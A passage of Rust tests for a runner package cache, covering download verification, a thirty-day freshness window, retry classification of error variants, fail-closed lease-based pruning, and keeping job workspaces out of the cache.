3673        let (harness, _, _) = linux_fixture();
3674        let cache = harness.cache();
3675        let first = cache.ensure_installed().await.expect("an install");
3676        harness
3677            .clock
3678            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3679
3680        let again = cache.ensure_installed().await.expect("the same entry");
3681
3682        assert!(
3683            cache.is_stale(&first, harness.clock.now()),
3684            "the entry really is past the deadline"
3685        );
3686        assert_eq!(again.version(), first.version());
3687        assert_eq!(harness.fetcher.count(), 1);
3688        assert_eq!(cache.installed().unwrap().len(), 1);
3689    }
3690
3691    #[tokio::test]
3692    async fn an_entry_is_complete_the_moment_it_exists() {
3693        // The manifest lands inside the staging directory and arrives with the
3694        // entry in one rename, so there is no window in which a directory
3695        // exists without it. A directory with no manifest is therefore not an
3696        // entry, and is not returned as one.
3697        let (harness, _, _) = linux_fixture();
3698        let cache = harness.cache();
3699        let installed = cache.ensure_installed().await.expect("an install");
3700        assert!(installed.root().join(MANIFEST_FILE).is_file());
3701
3702        // A directory that this module did not produce.
3703        let impostor = cache.root().join("9.9.9");
3704        fs::create_dir_all(impostor.join("bin")).unwrap();
3705        fs::write(impostor.join("run.sh"), b"not ours").unwrap();
3706
3707        assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
3708        assert_eq!(
3709            cache.installed().unwrap().len(),
3710            1,
3711            "only the real entry counts as installed"
3712        );
3713    }
3714
3715    #[tokio::test]
3716    async fn a_download_that_fails_leaves_no_entry_and_no_file() {
3717        let (harness, _, _) = linux_fixture();
3718        *harness.fetcher.fail.lock().unwrap() = true;
3719        let cache = harness.cache().with_retry_budget(1);
3720
3721        assert!(cache.ensure_installed().await.is_err());
3722
3723        assert!(cache.installed().unwrap().is_empty());
3724        let leftovers = all_paths(cache.root());
3725        assert_eq!(
3726            leftovers,
3727            vec![".staging".to_string()],
3728            "a failed download leaves an empty staging directory and nothing else"
3729        );
3730    }
3731
3732    #[tokio::test]
3733    async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
3734        // The interesting interruption: the bytes are exactly what GitHub
3735        // published — the digest matches — and extraction fails anyway. The
3736        // downloaded file exists at that point, so this is the path where a
3737        // missing cleanup would actually leak a 150-300 MB file.
3738        let payload = b"this verifies but is not a gzip stream".to_vec();
3739        let harness = Harness::new(
3740            vec![published(
3741                "linux",
3742                "x64",
3743                "2.330.0",
3744                ".tar.gz",
3745                Some(&hex_digest(&payload)),
3746            )],
3747            payload,
3748        );
3749        let cache = harness.cache().with_retry_budget(1);
3750
3751        let error = cache.ensure_installed().await.unwrap_err();
3752        let inner = match &error {
3753            PackageError::Exhausted { source, .. } => source.as_ref(),
3754            other => other,
3755        };
3756        assert!(
3757            matches!(inner, PackageError::Extract { .. }),
3758            "expected an extraction failure, got {error:?}"
3759        );
3760
3761        let wrote = harness.fetcher.wrote();
3762        assert_eq!(wrote.len(), 1, "the download did happen");
3763        assert!(
3764            !wrote[0].exists(),
3765            "the verified-but-unusable download at {:?} must still be removed",
3766            wrote[0]
3767        );
3768        assert!(cache.installed().unwrap().is_empty());
3769
3770        // Whatever the half-extraction left is staging litter, and the sweep
3771        // clears it.
3772        let before = all_paths(cache.root());
3773        assert!(
3774            before.iter().all(|path| path.starts_with(".staging")),
3775            "only staging litter may survive; found {before:?}"
3776        );
3777        cache.sweep_staging().expect("a sweep");
3778        assert_eq!(
3779            all_paths(cache.root()),
3780            vec![".staging".to_string()],
3781            "the sweep empties staging, leaving only the directory itself"
3782        );
3783    }
3784
3785    // =====================================================================
3786    // DoD 5 — freshness, and the version rejection that must not retry.
3787    // =====================================================================
3788
3789    #[tokio::test]
3790    async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
3791        let (harness, _, _) = linux_fixture();
3792        let cache = harness.cache();
3793        let first = cache.ensure_installed().await.expect("the first install");
3794        assert_eq!(first.version(), &version("2.330.0"));
3795
3796        // A new release, and the cached entry is now past the deadline.
3797        let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
3798        harness.catalog.publish(vec![published(
3799            "linux",
3800            "x64",
3801            "2.340.0",
3802            ".tar.gz",
3803            Some(&hex_digest(&newer)),
3804        )]);
3805        harness.fetcher.serve(newer);
3806        harness
3807            .clock
3808            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3809
3810        let second = cache.ensure_installed().await.expect("a refresh");
3811
3812        assert_eq!(second.version(), &version("2.340.0"));
3813        assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
3814        assert_eq!(
3815            cache.installed().unwrap().len(),
3816            2,
3817            "the old entry is not removed by a refresh; pruning is a separate, \
3818             guarded decision"
3819        );
3820    }
3821
3822    #[tokio::test]
3823    async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
3824        // The other half of the rule, and the one that keeps a 150-300 MB
3825        // download from following every point release.
3826        let (harness, _, _) = linux_fixture();
3827        let cache = harness.cache();
3828        cache.ensure_installed().await.expect("the first install");
3829
3830        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
3831        harness.catalog.publish(vec![published(
3832            "linux",
3833            "x64",
3834            "2.340.0",
3835            ".tar.gz",
3836            Some(&hex_digest(&newer)),
3837        )]);
3838        harness.fetcher.serve(newer);
3839        harness
3840            .clock
3841            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
3842
3843        let second = cache.ensure_installed().await.expect("the cached entry");
3844
3845        assert_eq!(second.version(), &version("2.330.0"));
3846        assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
3847    }
3848
3849    #[tokio::test]
3850    async fn the_freshness_boundary_is_the_documented_thirty_days() {
3851        let (harness, _, _) = linux_fixture();
3852        let cache = harness.cache();
3853        let installed = cache.ensure_installed().await.expect("an install");
3854        let installed_at = installed.installed_at();
3855
3856        assert!(!cache.is_stale(&installed, installed_at));
3857        assert!(!cache.is_stale(
3858            &installed,
3859            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
3860        ));
3861        assert!(cache.is_stale(
3862            &installed,
3863            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
3864        ));
3865    }
3866
3867    #[tokio::test]
3868    async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
3869        let (harness, _, _) = linux_fixture();
3870        let cache = harness.cache();
3871        cache.ensure_installed().await.expect("the first install");
3872        assert_eq!(harness.catalog.calls(), 1);
3873
3874        // Inside the interval: no REST call at all.
3875        harness
3876            .clock
3877            .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
3878        cache.ensure_installed().await.expect("a cached answer");
3879        assert_eq!(
3880            harness.catalog.calls(),
3881            1,
3882            "a cold start inside the interval must not re-check"
3883        );
3884
3885        // Past it: one more.
3886        harness.clock.advance(Elapsed::hours(2));
3887        cache.ensure_installed().await.expect("a re-check");
3888        assert_eq!(harness.catalog.calls(), 2);
3889    }
3890
3891    #[tokio::test]
3892    async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
3893        // The interval saves REST budget; there is no budget worth saving once
3894        // the package on disk is one GitHub may refuse.
3895        let (harness, _, _) = linux_fixture();
3896        let cache = harness.cache();
3897        cache.ensure_installed().await.expect("an install");
3898        assert_eq!(harness.catalog.calls(), 1);
3899
3900        harness
3901            .clock
3902            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3903        // The last check is now 31 days old, so it is due anyway; wind it
3904        // forward by re-checking, then step only a minute.
3905        cache.ensure_installed().await.expect("a re-check");
3906        let after_recheck = harness.catalog.calls();
3907        harness.clock.advance(Elapsed::minutes(1));
3908
3909        cache.ensure_installed().await.expect("another cold start");
3910
3911        assert_eq!(
3912            harness.catalog.calls(),
3913            after_recheck + 1,
3914            "a stale entry must be re-checked on every cold start, interval or not"
3915        );
3916    }
3917
3918    #[tokio::test]
3919    async fn a_version_rejection_is_terminal_and_produces_no_retry() {
3920        let (harness, _, _) = linux_fixture();
3921        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
3922        // A budget of three, deliberately: if the rejection were treated as
3923        // retryable, the counter below would read three.
3924        let cache = harness.cache().with_retry_budget(3);
3925
3926        let error = cache.ensure_installed().await.unwrap_err();
3927
3928        assert!(
3929            matches!(error, PackageError::VersionRejected { .. }),
3930            "expected a version rejection, got {error:?}"
3931        );
3932        assert!(error.is_terminal());
3933        assert_eq!(
3934            error.failure_reason(),
3935            Some(FailureReason::RunnerVersionRejected),
3936            "the domain already names this; no second vocabulary"
3937        );
3938        assert!(
3939            error.operator_action().is_some(),
3940            "a terminal condition owes the operator an action"
3941        );
3942        assert!(
3943            error.to_string().contains("cannot succeed"),
3944            "the message must say retrying is pointless: `{error}`"
3945        );
3946        assert_eq!(
3947            harness.catalog.calls(),
3948            1,
3949            "a version rejection must be attempted exactly once"
3950        );
3951        assert_eq!(harness.fetcher.count(), 0);
3952    }
3953
3954    #[tokio::test]
3955    async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
3956        // The contrast that gives the assertion above its meaning: with the
3957        // same budget and the same code path, a retryable answer is retried
3958        // three times. Without this, "calls == 1" could just mean the retry
3959        // loop never worked at all.
3960        let (harness, _, _) = linux_fixture();
3961        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
3962        let cache = harness.cache().with_retry_budget(3);
3963
3964        let error = cache.ensure_installed().await.unwrap_err();
3965
3966        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3967        assert_eq!(
3968            harness.catalog.calls(),
3969            3,
3970            "a retryable failure must spend the budget"
3971        );
3972        assert!(
3973            error.operator_action().is_none(),
3974            "the answer to a transient failure is to wait, not to act"
3975        );
3976    }
3977
3978    /// One `PackageError` variant's name, by an **exhaustive** match.
3979    ///
3980    /// This is the mechanism that keeps the classification table below honest.
3981    /// Two hand-written sample lists preceded it, and between them they omitted
3982    /// `Io` and `Exhausted` entirely — a new variant joined neither list and
3983    /// nothing complained. Adding a variant now stops this function compiling,
3984    /// which puts the author in front of the table, and the coverage assertion
3985    /// in `every_variant_is_classified_and_classification_matches_the_remedy`
3986    /// then fails until a sample joins it.
3987    fn variant_name(error: &PackageError) -> &'static str {
3988        match error {
3989            PackageError::UnsupportedHost(_) => "UnsupportedHost",
3990            PackageError::NoPackagePublished { .. } => "NoPackagePublished",
3991            PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
3992            PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
3993            PackageError::MalformedDigest { .. } => "MalformedDigest",
3994            PackageError::VersionRejected { .. } => "VersionRejected",
3995            PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
3996            PackageError::Download { .. } => "Download",
3997            PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
3998            PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
3999            PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
4000            PackageError::Extract { .. } => "Extract",
4001            PackageError::VersionInUse { .. } => "VersionInUse",
4002            PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
4003            PackageError::UnreadableLease { .. } => "UnreadableLease",
4004            PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
4005            PackageError::NotInstalled { .. } => "NotInstalled",
4006            PackageError::Io { .. } => "Io",
4007            PackageError::Exhausted { .. } => "Exhausted",
4008        }
4009    }
4010
4011    /// How many variants `variant_name` covers.
4012    ///
4013    /// Bumped by hand, and the assertion that uses it is what makes forgetting
4014    /// impossible to do quietly: a new variant that reaches `variant_name` but
4015    /// not the sample table fails the coverage check, and bumping this without
4016    /// adding a sample fails it too.
4017    const PACKAGE_ERROR_VARIANTS: usize = 19;
4018
4019    #[test]
4020    fn every_variant_is_classified_and_classification_matches_the_remedy() {
4021        // One table, every variant, each declaring what it should be. The two
4022        // separate lists this replaced could not express "these are all of
4023        // them", which is how `Io` and `Exhausted` went untested.
4024        let samples: Vec<(PackageError, bool)> = vec![
4025            (
4026                PackageError::Io {
4027                    what: "read",
4028                    path: PathBuf::from("x"),
4029                    source: io::Error::other("disk"),
4030                },
4031                false,
4032            ),
4033            (
4034                PackageError::Exhausted {
4035                    attempts: 3,
4036                    source: Box::new(PackageError::Download {
4037                        detail: "reset".to_string(),
4038                    }),
4039                },
4040                true,
4041            ),
4042            (
4043                PackageError::UnreadableLease {
4044                    path: PathBuf::from("x.lease"),
4045                },
4046                true,
4047            ),
4048            (
4049                PackageError::ChecksumMismatch {
4050                    version: version("2.330.0"),
4051                    expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4052                    actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4053                },
4054                false,
4055            ),
4056            (
4057                PackageError::CatalogUnavailable {
4058                    detail: "502".to_string(),
4059                },
4060                false,
4061            ),
4062            (
4063                PackageError::Download {
4064                    detail: "reset".to_string(),
4065                },
4066                false,
4067            ),
4068            (
4069                PackageError::Extract {
4070                    detail: "short read".to_string(),
4071                },
4072                false,
4073            ),
4074            (
4075                PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
4076                    os: Os::Windows,
4077                    arch: Arch::Arm32,
4078                }),
4079                true,
4080            ),
4081            (
4082                PackageError::NoPackagePublished {
4083                    os: Os::Linux,
4084                    arch: Arch::Arm32,
4085                },
4086                true,
4087            ),
4088            (
4089                PackageError::ChecksumAbsent {
4090                    version: version("2.330.0"),
4091                    os: Os::Linux,
4092                    arch: Arch::X64,
4093                    published: PublishedChecksum::Absent,
4094                },
4095                true,
4096            ),
4097            (
4098                PackageError::MalformedDigest {
4099                    raw: "nope".to_string(),
4100                },
4101                true,
4102            ),
4103            (
4104                PackageError::VersionRejected {
4105                    version: None,
4106                    detail: None,
4107                },
4108                true,
4109            ),
4110            (
4111                PackageError::UnrecognisedVersion {
4112                    raw: "nope".to_string(),
4113                },
4114                true,
4115            ),
4116            (
4117                PackageError::UnsupportedArchive {
4118                    filename: "x.rar".to_string(),
4119                },
4120                true,
4121            ),
4122            (
4123                PackageError::UnsafeArchiveEntry {
4124                    entry: "../x".to_string(),
4125                },
4126                true,
4127            ),
4128            (
4129                PackageError::VersionInUse {
4130                    version: version("2.330.0"),
4131                    attempt: fixtures::ATTEMPT_ID,
4132                    state: AttemptState::Busy,
4133                },
4134                true,
4135            ),
4136            (
4137                PackageError::VersionHeldByUnknownAttempt {
4138                    version: version("2.330.0"),
4139                    attempt: fixtures::ATTEMPT_ID,
4140                },
4141                true,
4142            ),
4143            (
4144                PackageError::WorkspaceInsideCache {
4145                    attempt: fixtures::ATTEMPT_ID,
4146                    path: PathBuf::from("x"),
4147                },
4148                true,
4149            ),
4150            (
4151                PackageError::NotInstalled {
4152                    version: version("2.330.0"),
4153                },
4154                true,
4155            ),
4156        ];
4157
4158        let covered: std::collections::BTreeSet<&'static str> = samples
4159            .iter()
4160            .map(|(error, _)| variant_name(error))
4161            .collect();
4162        assert_eq!(
4163            covered.len(),
4164            PACKAGE_ERROR_VARIANTS,
4165            "every variant needs a sample; covered {covered:?}"
4166        );
4167
4168        for (error, terminal) in samples {
4169            let name = variant_name(&error);
4170            assert_eq!(
4171                error.is_terminal(),
4172                terminal,
4173                "{name} is classified the wrong way"
4174            );
4175            // `03-control-flows.md` calls the terminal ones "operator-
4176            // actionable": every one must say what to do, and a retryable one
4177            // must not, because the answer there is to wait.
4178            //
4179            // `Exhausted` is the exception that proves the rule — it is
4180            // terminal and delegates both its action and its journal reason to
4181            // whatever the budget was spent on, so it has an action only when
4182            // that inner error does.
4183            if name == "Exhausted" {
4184                continue;
4185            }
4186            assert_eq!(
4187                error.operator_action().is_some(),
4188                terminal,
4189                "{name}: a terminal condition owes an action and a retryable one does not"
4190            );
4191        }
4192    }
4193
4194    #[test]
4195    fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4196        // The coverage check above is the only thing standing between a new
4197        // variant and going untested, so it gets its own negative control.
4198        let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4199            version: version("2.330.0"),
4200        }];
4201        let covered: std::collections::BTreeSet<&'static str> =
4202            short.iter().map(variant_name).collect();
4203        assert_ne!(
4204            covered.len(),
4205            PACKAGE_ERROR_VARIANTS,
4206            "an incomplete sample list must not satisfy the coverage check"
4207        );
4208    }
4209
4210    #[test]
4211    fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4212        let exhausted = PackageError::Exhausted {
4213            attempts: 3,
4214            source: Box::new(PackageError::ChecksumMismatch {
4215                version: version("2.330.0"),
4216                expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4217                actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4218            }),
4219        };
4220        assert!(exhausted.is_terminal(), "the budget is spent");
4221        assert_eq!(
4222            exhausted.failure_reason(),
4223            Some(FailureReason::RunnerPackageUnverified),
4224            "the journal reason comes from what actually failed"
4225        );
4226    }
4227
4228    // =====================================================================
4229    // DoD 6 — pruning refuses a version a non-terminal attempt references,
4230    // and succeeds once that attempt is terminal.
4231    // =====================================================================
4232
4233    /// An attempt in `state`, with a runtime under the runtime directory where
4234    /// `e3` will actually put it.
4235    fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4236        let id = AttemptId::from_u128(id);
4237        let runtime = harness
4238            .paths
4239            .runtime_dir()
4240            .join(fixtures::POLICY_ID.to_string())
4241            .join(id.to_string());
4242        fixtures::attempt()
4243            .id(id)
4244            .state(state)
4245            .runtime_path(runtime.to_string_lossy().to_string())
4246            .build()
4247    }
4248
4249    #[tokio::test]
4250    async fn reinstall_replaces_a_tampered_entry_with_a_verified_download() {
4251        let (harness, _, _) = linux_fixture();
4252        let cache = harness.cache();
4253        let first = cache.ensure_installed().await.expect("the first install");
4254        assert_eq!(harness.fetcher.count(), 1);
4255
4256        // A job rewrites a file in the entry it can reach.
4257        let planted = first.root().join("planted");
4258        fs::write(&planted, b"from a job").unwrap();
4259
4260        let fresh = cache.reinstall().await.expect("the reinstall");
4261
4262        assert_eq!(fresh.version(), first.version());
4263        assert_eq!(
4264            harness.fetcher.count(),
4265            2,
4266            "the package was downloaded again"
4267        );
4268        assert!(!planted.exists(), "the tampered tree is gone");
4269        assert_eq!(
4270            cache.installed().unwrap().len(),
4271            1,
4272            "the reinstalled entry is the only one left"
4273        );
4274        assert!(
4275            fs::read_dir(cache.staging_root())
4276                .map(|entries| entries.count())
4277                .unwrap_or(0)
4278                == 0,
4279            "the set-aside tree is removed"
4280        );
4281    }
4282
4283    #[tokio::test]
4284    async fn ensure_installed_reports_only_the_install_that_downloaded() {
4285        let (harness, _, _) = linux_fixture();
4286        let cache = harness.cache();
4287        let (first, downloaded) = cache.ensure_installed_reporting().await.unwrap();
4288        assert!(downloaded, "an empty cache downloads");
4289        let (again, downloaded) = cache.ensure_installed_reporting().await.unwrap();
4290        assert_eq!(again.root(), first.root());
4291        assert!(!downloaded, "an entry on disk is reused, not downloaded");
4292        assert_eq!(harness.fetcher.count(), 1);
4293    }
4294
4295    async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
4296        let cache = harness.cache();
4297        cache.ensure_installed().await.expect("an install");
4298        cache
4299    }
4300
4301    #[tokio::test]
4302    async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
4303        let (harness, _, _) = linux_fixture();
4304        let cache = cache_with_one_entry(&harness).await;
4305        let held = version("2.330.0");
4306
4307        // Every non-terminal state, because "non-terminal" is `b1`'s definition
4308        // and this guard must agree with it rather than with a hand-picked
4309        // subset.
4310        for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
4311            let attempt = attempt_in(&harness, 0x100, *state);
4312            cache.lease(&attempt, &held).expect("a lease");
4313
4314            let error = cache
4315                .prune(&held, std::slice::from_ref(&attempt))
4316                .unwrap_err();
4317
4318            assert!(
4319                matches!(error, PackageError::VersionInUse { .. }),
4320                "state `{state}` should hold the version, got {error:?}"
4321            );
4322            assert!(error.is_terminal());
4323            assert!(error.operator_action().is_some());
4324            assert!(
4325                cache.entry(&held).unwrap().is_some(),
4326                "a refused prune must leave the entry in place"
4327            );
4328            cache.release(attempt.id).expect("release");
4329        }
4330    }
4331
4332    #[tokio::test]
4333    async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
4334        let (harness, _, _) = linux_fixture();
4335        let cache = cache_with_one_entry(&harness).await;
4336        let held = version("2.330.0");
4337
4338        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4339        cache.lease(&live, &held).expect("a lease");
4340        assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
4341
4342        // Refused while it is running...
4343        assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
4344        let root = cache
4345            .entry(&held)
4346            .unwrap()
4347            .expect("still there")
4348            .root()
4349            .to_path_buf();
4350        assert!(root.is_dir());
4351
4352        // ...and allowed the moment the same attempt is terminal.
4353        for state in AttemptState::ALL.iter().filter(|s| s.is_terminal()) {
4354            let concluded = attempt_in(&harness, 0x100, *state);
4355            assert!(concluded.is_terminal());
4356            // Re-create the entry for each terminal state so each is a real
4357            // prune rather than a no-op on an already-empty cache.
4358            if cache.entry(&held).unwrap().is_none() {
4359                cache.ensure_installed().await.expect("re-install");
4360                cache.lease(&concluded, &held).expect("a lease");
4361            }
4362
4363            cache
4364                .prune(&held, std::slice::from_ref(&concluded))
4365                .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
4366
4367            assert!(
4368                cache.entry(&held).unwrap().is_none(),
4369                "state `{state}` should have pruned the entry"
4370            );
4371            assert!(
4372                cache.holders(&held).unwrap().is_empty(),
4373                "a spent lease is released with the entry"
4374            );
4375        }
4376    }
4377
4378    #[tokio::test]
4379    async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
4380        // `e1` documents that a launcher's newly created attempt may not be
4381        // visible to `attempts()` yet. Reading "absent" as "gone" would delete
4382        // a package out from under a starting runner, so the ambiguous case
4383        // fails closed.
4384        let (harness, _, _) = linux_fixture();
4385        let cache = cache_with_one_entry(&harness).await;
4386        let held = version("2.330.0");
4387        let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
4388        cache.lease(&attempt, &held).expect("a lease");
4389
4390        let error = cache.prune(&held, &[]).unwrap_err();
4391
4392        assert!(
4393            matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
4394            "expected a fail-closed refusal, got {error:?}"
4395        );
4396        assert!(cache.entry(&held).unwrap().is_some());
4397        assert!(
4398            error
4399                .operator_action()
4400                .unwrap()
4401                .contains("release the lease"),
4402            "the refusal must name the way out, got `{}`",
4403            error.operator_action().unwrap()
4404        );
4405
4406        // And the named remedy works.
4407        cache.release(attempt.id).expect("release");
4408        cache.prune(&held, &[]).expect("a released version prunes");
4409        assert!(cache.entry(&held).unwrap().is_none());
4410    }
4411
4412    #[tokio::test]
4413    async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
4414        // Everything else in this guard fails closed, including an attempt the
4415        // caller did not report. A lease file that cannot be parsed must not be
4416        // the one thing that fails open — "unreadable" is not "nothing holds
4417        // this version", and a lease is written non-atomically, so a crash
4418        // mid-write leaves exactly this shape.
4419        let (harness, _, _) = linux_fixture();
4420        let cache = cache_with_one_entry(&harness).await;
4421        let held = version("2.330.0");
4422        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4423        cache.lease(&live, &held).expect("a lease");
4424
4425        // Truncate it the way an interrupted write would.
4426        let lease_file = cache.lease_path(live.id);
4427        assert!(lease_file.is_file(), "the lease must exist to be corrupted");
4428        fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
4429
4430        let error = cache.prune(&held, &[]).unwrap_err();
4431
4432        assert!(
4433            matches!(error, PackageError::UnreadableLease { .. }),
4434            "expected a refusal naming the unreadable lease, got {error:?}"
4435        );
4436        assert!(error.is_terminal());
4437        assert!(error.operator_action().is_some());
4438        assert!(
4439            cache.entry(&held).unwrap().is_some(),
4440            "the package a live runner may be executing from must still be there"
4441        );
4442        // `holders` refuses for the same reason rather than answering "none".
4443        assert!(cache.holders(&held).is_err());
4444
4445        // And the named remedy works.
4446        fs::remove_file(&lease_file).unwrap();
4447        cache
4448            .prune(&held, &[])
4449            .expect("a resolved lease lets it proceed");
4450    }
4451
4452    #[test]
4453    fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
4454        // The three answers, including the race that cannot be produced from
4455        // outside `holders`: a lease file listed and then released before it is
4456        // read. Reporting that as corruption makes `prune` refuse for a reason
4457        // that is not true.
4458        let dir = tempfile::tempdir().expect("a temporary root");
4459        let held = version("2.330.0");
4460        let id = AttemptId::from_u128(0x100);
4461
4462        // Gone — released between the listing and the read.
4463        let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
4464        assert!(!missing.exists());
4465        assert_eq!(
4466            holder_of(&missing, &held).expect("a released lease is not an error"),
4467            None
4468        );
4469
4470        // Present and readable, for this version and for another.
4471        fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
4472        assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
4473        assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
4474
4475        // Present and unintelligible — still fails closed.
4476        fs::write(&missing, b"{\"version\":\"2.33").unwrap();
4477        assert!(matches!(
4478            holder_of(&missing, &held),
4479            Err(PackageError::UnreadableLease { .. })
4480        ));
4481
4482        // Present, readable, but not named after an attempt.
4483        let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4484        fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
4485        assert!(matches!(
4486            holder_of(&anonymous, &held),
4487            Err(PackageError::UnreadableLease { .. })
4488        ));
4489    }
4490
4491    #[tokio::test]
4492    async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
4493        let (harness, _, _) = linux_fixture();
4494        let cache = cache_with_one_entry(&harness).await;
4495        let held = version("2.330.0");
4496        let strays = cache.root().join(LEASES_DIR);
4497        fs::create_dir_all(&strays).unwrap();
4498        let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4499        fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
4500
4501        let error = cache.prune(&held, &[]).unwrap_err();
4502
4503        assert!(
4504            matches!(error, PackageError::UnreadableLease { .. }),
4505            "a lease whose holder cannot be identified must refuse, got {error:?}"
4506        );
4507        assert!(cache.entry(&held).unwrap().is_some());
4508    }
4509
4510    #[tokio::test]
4511    async fn an_unreferenced_version_prunes_with_no_ceremony() {
4512        let (harness, _, _) = linux_fixture();
4513        let cache = cache_with_one_entry(&harness).await;
4514        let held = version("2.330.0");
4515
4516        cache.prune(&held, &[]).expect("nothing references it");
4517
4518        assert!(cache.entry(&held).unwrap().is_none());
4519        assert!(cache.installed().unwrap().is_empty());
4520    }
4521
4522    #[tokio::test]
4523    async fn one_attempts_lease_does_not_pin_another_version() {
4524        let (harness, _, _) = linux_fixture();
4525        let cache = cache_with_one_entry(&harness).await;
4526
4527        // A second version, so there are two entries and one lease.
4528        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4529        harness.catalog.publish(vec![published(
4530            "linux",
4531            "x64",
4532            "2.340.0",
4533            ".tar.gz",
4534            Some(&hex_digest(&newer)),
4535        )]);
4536        harness.fetcher.serve(newer);
4537        harness
4538            .clock
4539            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4540        cache.ensure_installed().await.expect("the newer install");
4541        assert_eq!(cache.installed().unwrap().len(), 2);
4542
4543        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4544        cache.lease(&live, &version("2.340.0")).expect("a lease");
4545
4546        // The held one is refused, the unheld one is not.
4547        assert!(
4548            cache
4549                .prune(&version("2.340.0"), std::slice::from_ref(&live))
4550                .is_err()
4551        );
4552        cache
4553            .prune(&version("2.330.0"), &[live])
4554            .expect("the unheld version prunes");
4555        assert_eq!(cache.installed().unwrap().len(), 1);
4556    }
4557
4558    #[tokio::test]
4559    async fn a_lease_outlives_the_cache_object_that_took_it() {
4560        // The guard is only meaningful if it survives a restart, so the lease
4561        // is a file rather than a field.
4562        let (harness, _, _) = linux_fixture();
4563        let held = version("2.330.0");
4564        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4565        {
4566            let cache = cache_with_one_entry(&harness).await;
4567            cache.lease(&live, &held).expect("a lease");
4568        }
4569
4570        let reopened = harness.cache();
4571        assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
4572        assert!(reopened.prune(&held, &[live]).is_err());
4573    }
4574
4575    #[tokio::test]
4576    async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
4577        let (harness, _, _) = linux_fixture();
4578        let cache = cache_with_one_entry(&harness).await;
4579        cache
4580            .release(AttemptId::from_u128(0xdead))
4581            .expect("a cleanup path may release unconditionally");
4582    }
4583
4584    #[tokio::test]
4585    async fn leasing_a_version_that_is_not_installed_is_refused() {
4586        let (harness, _, _) = linux_fixture();
4587        let cache = cache_with_one_entry(&harness).await;
4588        let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
4589
4590        let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
4591
4592        assert!(matches!(error, PackageError::NotInstalled { .. }));
4593    }
4594
4595    // =====================================================================
4596    // DoD 7 — job workspaces are never stored inside the package cache.
4597    // =====================================================================
4598
4599    #[tokio::test]
4600    async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
4601        // Both directions in one test, deliberately.
4602        //
4603        // Split across two tests, the refusal half stayed green through a
4604        // mutation that made the containment check answer `true` for
4605        // everything — a lease that refuses every workspace satisfies "inside
4606        // is refused" perfectly. The acceptance half is what makes the refusal
4607        // mean something, and a reviewer reading one test cannot miss it the
4608        // way a reviewer reading two can.
